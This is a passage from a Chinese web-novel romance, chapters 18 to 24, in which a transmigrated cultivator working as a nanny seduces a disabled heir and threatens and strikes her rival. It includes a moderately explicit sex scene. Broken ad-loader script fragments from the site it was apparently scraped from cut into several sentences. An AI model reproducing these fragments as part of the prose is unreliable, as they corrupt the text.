毕竟人活久了,不说成精那么夸张,至少会沉淀很多东西。 白晴:“……” 没给女主继续说废话的机会,白幺幺直截了当道:“你说的合作我拒绝,还有,与其帮助你让你嫁进安家,为什么不能我自己嫁进去了。” “哦。”白幺幺咧嘴笑了笑,“作为你的长辈,等我嫁进安家后肯定不会忘了你的,到时一定好好给你找个门当户对的对象。” 白晴脸上的表情挂不住了,她咬着牙怒瞪道:“白幺幺,你别给脸不要脸,安子皓也是你能肖想的,一个高中没毕业的小保姆,你觉得你配吗?” 看着白幺幺依旧平静的脸,白晴心中简直快气炸了。 “你难道是想靠自己那点姿色勾引子皓吗?我告诉你,就算勾引到了,你也进不了安家的门,只能是被玩玩的命。” “做人呀!要有点自知之明,别心比天高命比纸薄,到最后啥也没捞着,还把自己名声搞臭。” 瞅着女主在那跳脚,白幺幺同志一副老神在在,等女主说完,她才问,“说完了,还有吗?” 就这些词,没点新颖的。 白晴:“……你!子皓绝对不会看上你这种女人的。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 白幺幺翻了个白眼,“这就不劳你费心了。” 哼,反正她是看上了小少爷,小少爷看上她还会远吗? 至于小少爷一直都不会看上她的情况,那是绝对不存在的。 白幺幺就是有这个自信,毕竟看了那么多师姐成功拿下师姐夫的案例。 白晴被噎得一时不知道说什么,只能愤怒的瞪着人。 得到了自己想知道的,白幺幺发现自己下来的时间有点长了,是该回去了。 不过回去前,白幺幺最后给了女主一个忠告,“好好回去上学,少惦记些有主的,多余的事千万不要做,否则——” 威胁的语气相当明显了,原主即使经历了那些,要她帮忙完成的心愿里也没有帮忙报仇这一项。 那她便不会主动去做什么,不过如果女主敢把手伸太长,或者想对她做点什么,她一定不会心慈手软的。 毕竟她可不像原主,将善良刻进了骨子里,以德报怨啥的在她这里是完全不存在的。 “白幺幺,你……” “如果只是想放狠话,那就闭嘴!” 白幺幺突然有点怀念她那个世界了,如果现在是在她那个世界,她肯定不会和这女人磨磨唧唧那么久。 就算没有一刀把人解决了,也会直接甩上几巴掌的,这女人简直太欠揍了。 想了想,白幺幺还是先把话放前头,她挥了挥拳头。 “记住了,这话我只说一遍,以后不要联系我,更不要再主动往我面前凑,不然我会揍人的,相信我,我从来不骗人的。” 白晴条件反射的缩了缩脖子,等反应过来自己做了什么,她倏地面红耳赤,也不知道是羞红的,还是被气红的。 眼睁睁的看着白幺幺像斗胜的大公鸡,仰着头大摇大摆的离开。 白晴简直要气炸了,要不是场合不对,她绝对能把周围一切能破坏的都破坏了。 离开的白幺幺同志可不知道自己被人比喻成斗胜的大公鸡,要是知道,她肯定会破口大骂的,你才大公鸡,你全家都是大公鸡! 第19章 残疾少爷的保姆(19) 小少爷还在里面检查,问过保镖,她离开的这段时间里面没出来人过。 检查时间越久,也不知道是情况越好,还是越不容乐观。 作为未来的准家属,白幺幺不紧张并不是因为她不在乎小少爷,而是无论小少爷双腿能不能好,她都不嫌弃,也都会不离不弃。 当然,为了让小少爷开心,她肯定是希望小少爷能够重新站起来。 又足足等了一个多小时,门终于开了,几个白大褂率先走了出来,白幺幺从他们的表情里看不出什么来。 几人边走边交流着什么,想来应该是关于小少爷的诊断情况,可是语言不通,她听不懂的。 白幺幺想,后期有时间了,可以多学点东西,比如语言,这个世界的语言种类简直不要太多。 医生出来时重新将门关上,白幺幺想看看里面情况都没办法的,而小少爷和安老爷子还都在里面,如果只有小少爷一人在,她在医生都离开后应该会自己推门进去看看的。 不过安老爷子也在里面,白幺幺同志毕竟是个姑娘家,也知道要在未来对象长辈面前注意形象,在长辈面前留下好印象。 两三分钟后,安老爷子推着小少爷出来了,白幺幺第一时间去看小少爷的神色。 尽管小少爷已经努力克制了,白幺幺还是透过现象看本质,窥看到小少爷真实情绪。 看来结果不是很好,白幺幺垂眸,心里闷闷的。 医院这边有安排小少爷住院的,不过小少爷排斥医院的味道,短时间的待着还好,让他一天二十四小时都耗在医院,而且还是好几天,小少爷没有配合医院的这个安排,而是说医院这边需要他配合做什么检查他再过来。 白幺幺知道小少爷在压抑情绪,如果检查后带来的是好消息,医院哪怕让小少爷住半年的院,只要能得到他想要的结果,小少爷肯定很乖的配合。 这次,安老爷子跟着送小少爷到酒店才匆匆离开,离开时他手上拿着方才从医院里打印出来的资料,他要抓紧时间多找几个专家看看。 人多力量大,总有人能找到治疗孙子方法的。 安老爷子一离开,白幺幺就能明显感觉到小少爷周身气压变了,看来是怕老爷子担心一直在隐忍。 或许,老爷子应该也是看出来了,因为对自己孙子的了解,他才什么都没说,也没多陪小少爷一会儿,而是留给小少爷空间,让他发泄出来。 酒店门啪嗒关上,将保镖隔绝在外面,白幺幺还得亏得够瘦,身体够灵活,在门快关上时钻了进来。 “出去!” 安子皓垂眸,让人看不清他的表情,不过听语气就知道他心情很不好,像是随时可能上来扑咬人的狼崽子。 没人比白幺幺更清楚,小少爷对此趟抱有多大希望,就是因为知道,她才更不可能出去,自己人自己宠着,她怎么舍得小少爷关在里面自己一个人舔舐伤口。 白幺幺轻轻过去半蹲下身,没有一丝犹豫的将小少爷怀抱住。 这个世界,安慰人最喜欢做的就是拥抱,她觉得小少爷现在就需要被拥抱。 或许是白幺幺宗门的原因,亦或者是她本来的性子就是如此,反正她做事最不喜欢扭扭捏捏的。 安子皓:“……” 身体僵硬了一瞬,反应过来后,他想狠狠的将人推开,可是他发现自己竟可耻的贪恋起女人的味道以及她带来的温暖。 以前,他不相信一见钟情,日久生情,他都觉得这个久没个一年半载,能生出什么感情。 人的本质就是最薄情的动物。 只是现在,安子皓闭上眼掩去眸中翻涌的疯狂,失去找不回的,总要有新的填补。 白幺幺还学着电视里看到的,手掌轻轻拍着小少爷后背,温声细语安抚道:“没事的,这家医院不行,再多找几家,世界那么大,科技一直在发展,总能找到办法的。” 没办法感同身受,白幺幺知道自己说再多,语言的力量都很苍白,可是总要说点什么不是吗? 人在低谷时总要给点希望 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不然他怎么有动力向上爬,走出来了。 时间是治愈良药,但也要先让人挺过那段至暗时刻。 不能理所当然要求谁谁必须要坚强,坚强不是一蹴而成的。 甚至白幺幺都在想,要不直接把双修事宜安排上日程,她们合欢宗的双修功法就算在这个世界发挥不出作用来,但改善下体质,蕴养经脉,白幺幺觉得是可以的。 若说小少爷的腿没经过双修时是一汪死水,双修后,就变成一汪活水,再结合现在医疗水平,说不定就有奇迹了。 “我们双修吧!” 越想白幺幺眼睛越亮,没意识的就将想法说出来了。 整个合欢宗就剩她没双修道侣了,宗门没被灭前几日,她被师姐们取笑,就动了下山找双修道侣的心,只不过计划赶不上变化。 现在想起宗门,白幺幺心中依旧会生出淡淡悲伤和恨意,只不过想到还有机会复活师父、师姐和师姐夫们,她的情绪才能如此稳定。 “双休?” 小少爷没有抬头,声音从白幺幺怀中传出,低沉中透着点疑惑。 白幺幺脸不红心不跳的换了个说法:“我们做生孩子的事吧!” 说完,白幺幺脑中冒出了她从小说里看来的另一种说法,那些人妖恋,人兽恋的小说,偶尔总会冒出一句“我们交配吧”。 几种说法一比较,白幺幺还是更喜欢她们合欢宗的双修一词。 用这个世界的话来说,就是比那什么做爱、交配更高端大气上档次。 “咳,咳咳,咳咳咳……” 小少爷平生第一次被自己的口水呛到,咳得撕心裂肺,脸都红了。 白幺幺担心的将人放开,伸手轻拍后背给人顺气。 而也就是这时,她才看清小少爷眼眶红红的,脸上还有未干的泪痕。 哭了? 刚刚小少爷哭了,难怪要他出去。 七师姐说了,男子一般不会轻易落泪的,就算落泪也不想让旁人瞧去。 第20章 残疾少爷的保姆(20) 白幺幺像是没发现小少爷哭了这一事实,继续给人拍背顺气,“少爷,你放轻松,别太激动了。” 由于她是全宗里最小的,又是好奇心最重的,喜欢问师姐们各种问题,当然师姐们也喜欢教她各种东西,和她分享各种趣事。 师父说过,世间男子都爱矜持的女子,只是她们合欢宗的女子也想矜持,可就是做不来。 所以师父总时不时对着她们露出愁容,担心她们找不到满意的双修道侣,后来师姐们陆陆续续找到心仪的师姐夫,师父脸上愁容才慢慢消失。 想到这,白幺幺问,“少爷,难道你也喜欢矜持点的女人。” 问完,没给小少爷回答的机会,她故作凶狠道:“你已经被我定下来了,而我这辈子,下辈子,下下辈子都不可能矜持的,所以少爷你没得选择的。” 安子皓目光如泛着冷光的利刃看向白幺幺,语气前所未有的认真,“我不喜欢矜持。” 车祸发生前,他没喜欢过谁,他也不会在那个人没出现前,就先给自己设个理想型,然后有意识或无意识的按照这个理想型去找。 人生本来就无趣,这般不是更无趣了。 白幺幺满意了,她问“那你喜欢什么样的?” 安子皓没回答,反问道:“那你想要我喜欢什么样的?” “当然是我这样的。” 白幺幺觉得小少爷喜欢说废话,这种问题根本不需要问好不。 “我不喜欢你这样的,至少成这副样子前,你就是脱光了半夜爬我床,我不仅会直接把你丢出去,还会给你点惩罚。” 小少爷眸光沉沉的说:“至于什么惩罚,就看我当时的被恶心程度,有可能轻轻带过,也可能让你生不如死。” 白幺幺是懂换位思考的,如果有个异性脱光想爬她床,嗯哼,她一定会先捏爆他胯下那几两肉,这个是十一师姐教她的,男子最在乎胯下那几两肉了。 拍了拍小少爷肩膀,白幺幺觉得自己更喜欢小少爷了,很对她的味,“少爷,没错,遇到这种事,你就该这么处理。” 安子皓:“……” 不是,他们是在讨论遇到这种事的处理方法吗?他话中的关键不应该是假设那个脱光爬床的人是她白幺幺吗? 小少爷有点被整不会了,之前笼罩的各种情绪不知不觉的泄得无影无踪。 “白幺幺!” 小少爷咬着牙,声音都拔高了几分。 “嗯?” 白幺幺扑闪了下大眼睛,眼里满是不解,不解小少爷怎么又生气了。 太干净了,安子皓第一次生出想要拥有一样东西欲望,他想要这双眼睛。 并不是这双眼睛干净得不染世俗欲望,而是很简单,很好懂,里面的欲望也很直白纯粹,而那欲望是对他的,仅仅是对他这个人的。 心中的野兽被释放,原始欲望在肆虐,安子皓微哑着声问:“真想和我做?” 十八岁的年纪,未尝过情爱,在他们这个圈子,算是凤毛麟角的存在了。 这个圈子,不要说男的,有些女的十几岁就玩得很疯了。前段时间黄家才花重金压下了自家二小姐在学校的不雅视频风波,那二小姐就玩得很疯。 圈子的人从小见识多,人也比较早熟,只要不是玩得太多,家长们一般放任性格养成。 毕竟他们努力奋斗出的这份家业,并不是让自己后代继续活得畏畏缩缩的,他们的后代的确比普通人有更大的试错空间。 “做什么?” 白幺幺歪了歪脑袋,一时跟不上小少爷的思维。 安子皓:“……做你爱做的事!” 她爱做的事? 白幺幺唇才微张开,眼前一黑,唇瓣被湿润覆盖上。 在某些事上,男人不需要教就能无师自通。 舔舐,啃咬,很快就不能满足小少爷了,舌头顺着白幺幺微张的唇侵入,搅动,吮吸。 边亲吻着,小少爷的手也闲着,开始隔着衣服摸索。 白幺幺被亲吻得晕乎乎,她终于反应过来,想反驳虽然她是想和小少爷双修,但这才不是她爱做的事了。 不过,小少爷吻得太凶,白幺幺根本找不到说话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的机会。 察觉到小少爷在脱自己的衣服,白幺幺的也不吃亏的脱起小少爷的衣服来。 在白幺幺手触碰到小少爷裤头,准备帮他脱裤子时,手被按住了。 她抬眸不解的看去,眼里满是被情欲浸染的迷离。 小少爷敛了敛眸,在白幺幺额头落下一吻,双唇并没有马上离开,声音闷闷的说:“先抱我去床上。” 白幺幺没说什么,直接行动。 两人转移战场后,继续开始互相啃咬。 “你真美。” 安子皓眸底是疯狂的占有欲。 白幺幺也不害羞,大咧咧的展示自己,同时也不忘礼尚往来,“你也很美!” 身体每一处都很合她心意,白幺幺自己都觉得很意外,没想到在第一个任务世界里就能找到如此合心意的双修道侣。 想到什么,白幺幺问,“你是第一次吗?” 剧情里有说过,女主是男主第一个也是唯一个 女人,不过白幺幺还是想亲口问一下。 安子皓似是害羞了,只是轻点下头。 “我也是。” 白幺幺接着问,“那我们接下来要怎么做?” 她理论知识是很丰富,也看过那种图册,不过师姐们说过,第一次要注意点,不然很容易受伤的。 白幺幺突然就有点紧张,怕把小少爷弄伤了。 安子皓诧异,“你不懂?” “不是,我很懂的。” 白幺幺下意识挺了挺胸脯,一副老司机模样道:“我问的是要怎么做才不会弄伤你?” 安子皓:“……” “还有我现在教你一段口诀,你先背下来,等我们双修时,在渐入佳境时,你要记得在心里念诵起这段口诀来,知道吗?” 安子皓:“……” 瞧见小少爷呆呆傻傻,也不知道听清了没,白幺幺又重复了遍。 怎么说,此时小少爷的表情有些一言难尽,替换了他方才因为自己双腿不便无法正常完成某些行为而生出的自卑难堪情绪。 第21章 残疾少爷的保姆(21) 白幺幺是被一道灼热视线看醒的,掀起眼皮见是小少爷,她下意识道:“不,不能再来了!” 安子皓低头在她额头上落下一吻,把人搂得更紧了些,仿佛要将人融入骨血中,脸上尽是餍足之色,“放心,你继续接着睡,我让酒店一个小时候后再送早餐上来。” “嗯?!” 白幺幺有点怀疑小少爷的话,不过终究抵不过困意,眼皮缓缓落下,没一分钟就睡着了。 睡前,她不忘在心里嘀咕,师姐误她呀!和她说了第一次要注意,不然会受伤的,但就是没告诉她,会受伤的不是男子,而是女子。 反正,她现在就感觉身体不是自己的,哪哪都不舒服。 性爱,性爱,经历昨晚疯狂一夜,安子皓算是切身明白为什么这个词是性在前,爱在后了。 他一直知道男人在没有爱的情况下,却可以有性,但是那种有爱的性,灵与肉的极致欢愉,像昨晚那样真让人欲罢不能。 还有那口诀,每回两人结合时,他在心中默念口诀,体内产生的那种玄而又玄的感觉十分明显,让他想忽略都难。 所以,他是捡到宝了,以后也只能是他一个人的宝。 又过了一个小时,白幺幺被亲醒,刚开荤的男人简直太…… 感受到男人的身体的异样,白幺幺忙伸手想将人推开些,可惜她现在身体软绵,哪里有啥力气。 “不要。” 白幺幺瞪了人一眼,“要节制,不然伤身体。” 安子皓低头吻了下白幺幺的眼睛,在她还没反应过来时,拉开距离,眼里是化不开的宠溺,“放心,我只是想叫你起来吃早餐。” 白幺幺坐起身来,怀疑的看向男人那处。 安子皓一脸坦然道:“我是正常男人,这也是正常男人早上该有的反应。” 白幺幺:“……” 不需要解释那么清楚,这个常识她还是知道的。 主要是昨晚小少爷在她这边的信誉崩塌,一时要重新建立起来有点难。 当然,也怪男色太误人,还有这男人一旦不要脸起来简直就无敌了,白幺幺发现自己真的抵挡不住小少爷的撒娇装可怜。 直到安全进入卫生间,白幺幺才轻吁了口气,以前没找到双修道侣时,她一直在心里偷偷期待着,想赶紧找到,赶紧双修。 现在找到了,还是在异世界找到,白幺幺不得不承认双修还是蛮快乐,只是双修的时间和次数能不能控制下呀! 难怪了,她以前问过师姐们,既然找到师姐夫们了,你怎么不勤奋修炼,或者干脆直接闭关修炼个年的。 当时师姐们的表情深深刻在她脑中,只是她那时无法理解其背后的含义,现在她还有什么不明白的。 早餐很丰富,是安子皓特意交代酒店做的,主打一个补血系列。 白幺幺是真的饿了,比平时多吃了一半的量。 吃饱后,她开始谈起正事来。 “少爷……” “子皓。” 她才起了个头就被小少爷打断了。 白幺幺反应过来,自己又喊错了,“之前喊习惯了,子皓,昨晚双修后,你感觉怎么样,就是身体有什么变化?” 安子皓不假思索道:“具体说不上来,不过能感觉到身体很舒服,像是被注入了力量。” 每个人都有秘密,安子皓没有刨根究底。 有的人就是这样,哪怕才认识一天,你对她的信任却超过认识好几年的。 安子皓就是相信,相信白幺幺,但凡能和他说的,她都会说,不能说,他尊重她,因为他相信她不会伤害他的。 安子皓发现自己竟然也有恋爱脑体质,不过她值得就是了。 安子皓想了想,“不然我们现在去医院做个全身检查?” 现在医学水平,人体内有个啥变化,靠仪器还是能检查出来的。 “能行吗?” 白幺幺咬了咬唇,“好像也只能这样,不过我们必须换家医院检查,不能去昨天那家。” 安子皓赞同的点头,“幺幺真聪明,知道要换家医院,想得真周到。” 昨天他才 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在医院检查,医院里留有他的相关数据,如果今天再去,检查结果出来,有较大差异,他要怎么和人解释才过一天,他的身体就有这样的变化。 白幺幺被夸了也不害羞,得意的扬了扬下巴,“我当然聪明。” 安子皓笑着附和,“是,是。” 安子皓怕人累着,想让人留在酒店休息,他自己去医院做检查,只是他把自己的想法说出来,就遭到白幺幺的否决。 “不行,我要和你一起去。” 白幺幺哪里放心小少爷自己一个人出去,就算有保镖也不行,没自己亲自跟着,她心里不踏实,在酒店也休息不好。 两人目前的状态就是一刻都不想与彼此分开,根本不用白幺幺多说什么,小少爷立马同意让她陪同一起去。 要不是心疼人,小少爷哪里舍得和白幺幺分开。 到了医院,尽管走的都是通道,一通检查下来,就到了吃午饭的时间。 两人关系确认后,并没有隐瞒谁的意思,推轮椅的工 作让其中一名保镖接手,全程小少爷都是和白幺幺手牵手。 “中午想吃什么?”小少爷把玩着白幺幺的手,要不是场合不对,他一定会把人抱坐到大腿上的。 “吃什么呀?” 白幺幺认真思考起来,来的第一天吃坏肚子,的确影响了她对美食的期待。 不过现在情况又不一样了,按照这个世界的说法,她和小少爷谈恋爱了。 恋爱的魔力就是,她现在看啥都很舒服,之前被美食图片勾起的馋虫再次跑出来。 白幺幺拿出来手机开始划拉,然后递给小少爷看。 “咱们中午吃这家吧,我看网友推荐说,来了必须吃一下,不吃会后悔的。” “而且我查了,这家离我们挺近的。” 因为不想吸引太多注意,安子皓也仅仅是花点钱走通道,报告下午出,所以去太远吃饭不方便。 安子皓扫了眼,“行,幺幺想吃这家,我们就吃这家。” 确定吃哪家后,他们直接出发。 第22章 残疾少爷的保姆(22) 网友推荐的果然靠谱,白幺幺吃得心情愉悦,很满足。 吃完后,两人在包间里腻歪了好一会儿才离开,离开时白幺幺的衣服多了几丝褶皱,脸也红扑扑的。 到了医院,报告已经出来,取了报告,两人先自己看起来,同时与昨天做的检查报告做对比。 的确有很多不一样,两人毕竟不是专业人士,隐去姓名日期等信息,安子皓将两份报告传回国内安家投资的医院,让医院组织专业的团队做下分析。 结果肯定不是几分钟能得到的,两人眼神对碰下,达成共识,直接回酒店了。 跑医院一趟,在里面待的时间还不短,安子皓更是贴身接触好几样医疗设备。 一回到酒店房间,安子皓就提出要先去洗澡。 白幺幺挥挥小手让他快去,自己则瘫在酒店的大沙发上,舒服的眯上眼。 久久没听到动静,白幺幺睁眼疑惑的问:“你不是要洗澡,怎么还不去?” 安子皓控制轮椅,靠白幺幺更近些,“幺幺,我们一起洗好不好,到时我们能互相帮忙洗!” 白幺幺:“……” 别以为她不懂。 哼!不就是鸳鸯浴,她怎么可能不知道。 “幺幺,好不好。” 安子皓抓着白幺幺的手,一副不答应他就不放手的架势。 “行,行吧!” 白幺幺就是觉得自己体力还没恢复,不太想折腾,并不是她排斥鸳鸯浴啥的,只是小少爷瞧着真的很想要,算了,就满足他吧。 两人一前一后进入浴室,没一会儿令人面红耳赤的声音从浴室传出来。 本来洗个澡,二三十分钟绰绰有余,两人这个澡足足洗了快七八十分钟。 出来后,白幺幺心中有了个坚定地想法,鸳鸯浴啥的,短时间小少爷是想也别想了,至于之后,也只能一周,不,一个月一次。 两人互相帮对方吹干头发,安子皓才拿起手机,看过国内回信息了。 他点开信息和白幺幺一起看,专业术语很多,不过总结下来就是才仅仅只过一天,他身体的各项指标真的变好很多。 如果说昨天他的健康指数是60分,那么今天的健康指数起码有65分。 “太好了,子皓,我们继续坚持双修,说不定,你的腿慢慢就好了。” 白幺幺激动的抱着人,同时心里有点懊恼,早知道她当初就学点医术了,小少爷就能快快站起来,而不是慢慢等,却不知道要等多久。 安子皓回抱住白幺幺,脸埋在她脖颈处,瓮声瓮气的,“幺幺,谢谢你,还有不要离开我,永远不要离开我。” “放心,我不会离开你的。” 来到小世界做任务,任务完成后,她们是可以选择继续留下,寿终正寝的,也可以选择离开小世界。 这个小世界有了让她留恋的人,白幺幺怎么舍得离开他。 晚上,医院那边打来电话,说是研究出几个治疗方案,不过都有一定风险,成功几率最高的也就百分之五十。 有些东西在电话里具体说不清楚,让小少爷明早到医院详谈。 明天啊! 原本白幺幺是打算抢女主戏的,到时等那个父亲靠近小少爷,在他拿刀出来的第一时间,她快速出手,在还没引起周遭人注意时,一手将人劈晕带走。 为什么不在医院外,见到人就动手,这样做了,很多东西她不好解释。 不过现在她要改变计划了,她不能让小少爷以身犯险。 想了想,白幺幺翻身趴在小少爷身上,“如果我要去做一件危险的事,不过我保证自己一定不会受伤,你会支持我去做吗?” “不会”,安子皓想也没想,答案脱口而出 他神情陡然严肃起来,直视着白幺幺的眼睛说:“我可以接受你有秘密,但不能接受你亲身涉险。” 他懂她。 “嗯。” 白幺幺需要想想,就算要说,也要想想怎么说。 “白幺幺,我是谁?” “安子皓呀!” 安子皓亲吻了下她的发顶,“不,我是你男人,可以让给你依靠的男人,我知道,我双腿这情况,或许让你…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 白幺幺捂住小少爷的嘴,不让他继续说下去,而是让他听她说。 “对,你现在是我男人了,我的男人我干嘛不用。” 白幺幺思维转换很快,她真不是那种忸怩性格。 她把医院私下做人体实验,以及那个父亲明天准备持刀跑医院乱砍人的事说给小少爷听。 小少爷越听眉头皱越紧,脸也越臭。 等白幺幺说完,小少爷才阴阳怪气道:“所以,你一开始是打算瞒着我去当英雄?” 白幺幺:“……” 英雄? 不,她对这个不感兴趣,她会想干预这段剧情,还不是为了眼前人。 在小少爷越来越不善的眼神下,白幺幺就差竖起手指发誓了。 “不,我不是,我没有,我就是……” “就是什么?” 安子皓收紧双手,只要一想到这个女人竟然想背着他去涉险,他就有点呼吸困难。 白幺幺小声辩解道:“那家医院不是有治好你双腿的可能吗,如果不阻止那个父亲,到时医院被顶到风口浪尖,最后倒闭关停,你的腿要怎么办?” 安子皓:“……所以,你的出发点是为了我。” “当然是为了你,不然我又不是吃饱了闲着。” 白幺幺挣扎道:“别抱我那么紧,快不能呼吸了。” 安子皓稍稍放松了些,“幺幺,我好喜欢,好喜欢你啊。” 白幺幺:“……” 她也礼尚往来回道:“我也喜欢你。” 说完,白幺幺还主动送上一吻,就在她亲完要退开时,脑袋被按了回去,安子皓反客为主,两人唇齿交缠起来。 也不知道吻了多久,安子皓气息还好,白幺幺就有点喘了。 安子皓说:“幺幺,这个事情交给我来处理,你不用管了。” “行吧。” 白幺幺爽快答应,她相信小少爷既然把事情揽走了,就一定能处理好的。 两人就这么相拥着的,感受着彼此的体温,没有做其他的,缓缓进入梦乡。 第23章 残疾少爷的保姆(23) “白幺幺,为什么那个男人没有出现,你是不是做了什么?你怎么可以这样!” 看着挡在自己面前气势汹汹的白晴,白幺幺简直要无语了,真搞不懂听不懂人话的人怎么当女主的。 不过想到自己之前放的话,她没带犹豫的甩了一巴掌过去。 啪的一声,很响。 白晴是在卫生间门口堵到白幺幺的,很幸运的是除了一个在打扫的保洁阿姨,保洁阿姨还很有眼力见的溜了,周围一个人也没有,不然她气上加气,说不定原地气晕过去了。 白幺幺这一巴掌真的把她打懵了,时间仿佛在这一刻静止,她捂着脸瞪大眼睛看着白幺幺。 等回过神后,她气得说话都打哆嗦了,“你……你……你怎么敢打我!” “我为什么不敢。” 白幺幺翻了个白眼,继续说道:“我是你小姨,是你长辈,长辈教训晚辈天经地义。如果你继续不听话,下回见你,我还打哦!” “……你……你……” 白幺幺拍开指着她手,“不要拿手指着我,没礼貌,初犯警告你一次,再犯就家法伺候了。” “啊!” 从机场通话开始到现在,加上做的那个无比真实的梦,白晴心中憋着的情绪爆发了,她挥着手直接朝白幺幺扑去,目标很明确,她要先抓花那张脸。 一个花瓶,白幺幺真没放心上,一脚就将人踢撞到过道的墙上。 墙离白晴后背才不到一米,所以没有出现那人超人力量,一脚将人踢飞十几米的,还把墙撞坏的画面。 白晴捂着被踢的地方了,疼得什么话也说不出来了,后背撞到墙的地方不用看肯定一片乌青。 白幺幺两三个跨步来到白晴面前,语气冰冷的警告:“以后不要继续往我面前蹦跶,就算不小心碰见了,也请绕道走,千万不要来我面前找存在感,不然……” 后面的话白幺幺没说明,不过她还是挥了挥拳头,反正打一顿绝对是最轻的。 不知道是第一个新手世界的原因,她接手原身这具身体的节点刚刚好,如果再晚几天,男女主已经接触过,她想完成任务,可能会麻烦点。 还有,她应该会给自己换个男主。 毕竟男人不自爱就像烂白菜,就算小少爷是被动不自爱的,可被女主碰过,还是这种货色的女主,真的很膈应。 再说了,大师姐告诉过她,外面的男人都喜欢口是心非,假正经,一边各种抹黑看不上他们合欢宗,其实心里可不是这样。 能做快乐的事还能涨修为,他们一个个心里偷着乐了! 反正,总而言之,言而总之,要不是她们修习功法需要,那些个臭男人还当自己是香饽饽,而且都是宁情我愿又没存在强抢民男,真真别得了便宜卖乖,做了婊子还想立贞洁牌坊。 白幺幺在这个世界没杀过人,不过在她那个世界,她可是杀过人的。 此时,她看向白晴的眼神冷寒彻骨,眸底流淌着似有若无的杀意,吓得白晴身体定在那,哪还敢说什么。 脚步声远去,直到听不见后,白晴像泄了气的球,瘫坐在地上,抬手在额头上抹了抹,原来不知什么时候,上面已经布满一层细汗。 太可怕了! 白幺幺什么时候变得如此可怕了。 白晴眼里有怨毒,有恐惧,也有不甘。 她不是傻子,就算不想承认,她也必须面对现实,想像梦中那样通过嫁给安子皓来得到安家,基本不可能了。 有白幺幺在,她根本没机会靠近安子皓,毕竟不管是现实还是梦中,她能接触到安子皓都还是依靠白幺幺。 想到梦中自己如愿嫁给安子皓后过的生活并不舒心,不然也不会出轨。 哼,不过是个残疾废人! 既然白幺幺想要就拿去,她也就配这种货色。 白晴一下子给自己做好了思想工作,她觉得自己之前就是被一叶障目了。 她至始至终想要的就是身份、地位、财富,得不到安子皓,她就不能换个人,反正现在残 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 疾的安子皓她打心眼里的嫌弃。 “小姐,你没事吧?” 有人过来卫生间,看到白晴坐地上,脸色也不怎么好,上前表示关心。 白晴学过这个国家的语言,挤出个笑来,“谢谢关心,我没事的。” 说完她起身离开。 决定换个目标,她哪里能继续在这里浪费时间,脑中快速回忆着梦中的内容,看有没有什么其他有用信息的,没成想还真让她找到了。 是一段关于婚后半年,安子皓带着她去参加秦家小儿子的婚礼,在婚礼上,播放了新郎新娘相知相识相爱的故事。 故事怎么说,没多啥新颖,甚至还挺老套的。 新郎出车祸,由于地方很偏,当时没车也没人路过,然后新娘很巧的路过,并奋不顾身的砸开车窗玻璃,将新郎从车上救了出来。 当时新郎以为自己就要死了,新娘的出现仿若神女,给他生命照进了一束光。 也就是有了救命之恩为开始,新娘才能麻雀变凤凰,嫁进豪门。 一开始,她全身心都在安子皓和白幺幺身上,对嫁进安家充满 执念,对于梦中的内容也就走马观花的看下。 现在认真去看,她才发现,因为这个新娘和她一样,是圈子里唯二真的嫁入豪门的麻雀,所以两人时常被圈子里的人拿来比较。 秦家虽稍逊安家一筹,可谁让秦小少爷他不是残疾呀!就残疾这一点被无限放大,所有人都觉得安子皓太可惜了,反正如果两个人放着让他们选,她们一定选秦小少爷。 钱不管对哪一家来说都只是一串数字,多一点少一点,似乎影响也不大,可残疾是一辈子的。 白晴很想给自己一巴掌,这么重要的信息,她竟然现在才发现。 哼,不可否认,梦中那些个八婆说的很对,嫁给秦家小少爷比嫁给安子皓好。 白晴捏了捏拳头,眼里满是对秦家小少爷的势在必得。 白幺幺,你等着吧,到时看看谁过得更幸福! 第24章 残疾少爷的保姆(24) 在国外待了一周,医院那边最终给出了让人失望的结果,对于安子皓的情况,他们也无能为力。 只是这次听到这种结果,安子皓神情是真的平静,情绪也很稳定,不是那种假装的。 这只能归功于他们每晚,不,应该说是抓住所有能抓住的时间在努力,至于努力啥? 呵呵,白幺幺同志第一次不想听那两个字,听了都有种头皮发麻的感觉。 主要是效果真的太好了,安子皓能感觉到自己身体状况在一天比一天好,所以就有点没节制了,谁让他真的很想早点站起来。 两人继续在国外逗留了三天,四处吃吃逛逛,都挺快乐的。 回国时,安老爷子跟着他们到机场,不过他不打算跟着他们一起回去,而是准备飞往其他地方和那边约好的专家见见面。 安子皓看到爷爷为他的事四处奔波,心里很不是滋味,可是他知道自己劝不动爷爷的,而他身体正在好转,有望重新站起来的事,他还没准备告诉爷爷。 没有真正站起来前,谁也没办法保证,他怕到时让爷爷空欢喜一场。 “爷爷,在外面注意安全,要要好好吃饭,休息。” 安子皓抱了抱老爷子,“还有,爷爷,你不要担心家里和公司的事我处理好的。” 有了爱人,爱人还带来了希望,不管是为了自己,还是为了这世上爱他的唯二两个人,他也不能继续自暴自弃,颓废下去了。 安老爷子欣慰的拍了拍孙子的肩膀,这才是他们安家的好男儿,不会被轻易打倒。 “知道了,爷爷会照顾好自己的。” 要分开时,安老爷子对着白幺幺嘱咐道:“幺幺,照顾好子皓,有什么事解决不了,可以直接打我电话。” 在老爷子面前,安子皓是一点没避讳他和白幺幺的关系,老爷子想不知道都难,除非眼瞎耳聋心盲。 安家本身就已经到了不需要后辈联姻来强大自身了,安子皓现在又这样,安老爷子就想得更开了,他现在就希望自己的孙子能开开心心的。 而且白幺幺是他熟悉的孩子,他对这个孩子印象很好,是个会照顾人,能过日子的,很适合子皓。 一路上看两人相处,特别是看到孙子笑了,那瞬间安老爷子的眼泪差点掉下来。 ……后面,安子皓笑的次数多了,安老爷子才没了第一次看到的稀罕劲。 回国后,安宅是有停机坪的,所以他们是一路直接飞到家的。 瞅见两人牵在一起的手,老管家:“……” 